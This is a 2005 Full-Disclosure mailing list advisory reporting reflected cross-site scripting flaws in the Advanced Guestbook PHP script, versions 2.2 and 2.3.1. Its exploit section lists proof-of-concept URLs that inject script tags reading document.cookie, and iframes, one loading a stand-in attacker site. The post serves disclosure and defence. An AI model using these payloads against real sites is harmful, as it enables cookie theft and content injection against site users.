full-disclosure - Advanced Guestbook remote XSS exploit

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Date: Sun Dec 25 21:58:09 2005
From: handrix at morx.org (handrix@...x.org)
Subject: Advanced Guestbook remote XSS exploit

Advanced Guestbook 2.2 and 2.3.1 and possibly other versions
remote XSS vulnerabilities
By: Handrix <handrix_at_morx_org>
16 December 2005
MorX security research team
www.morx.org 

Description:

Advanced Guestbook is a PHP-based guestbook script.

index.php and comment.php scripts are vulnerable to XSS attacks. This issue 
can allow an attacker
to bypass content filters and potentially carry out cross-site scripting, HTML 
injection and other
attacks.

Exploit:

http://www.example.com/guestbook/index.php?entry=<script>alert(document.cookie);</script>
http://www.example.com/guestbook/index.php?entry=<iframe 
src=http://www.attackersite.com/>

http://www.example.com/guestbook/comment.php?gb_id=1<script>alert(document.cookie);</script>
http://www.example.com/guestbook/comment.php?gb_id=1<IFRAME 
SRC="javascript:alert('XSS');"></IFRAME>

Vulnerable versions :

Advanced Guestbook 2.2
Advanced Guestbook 2.3.1 

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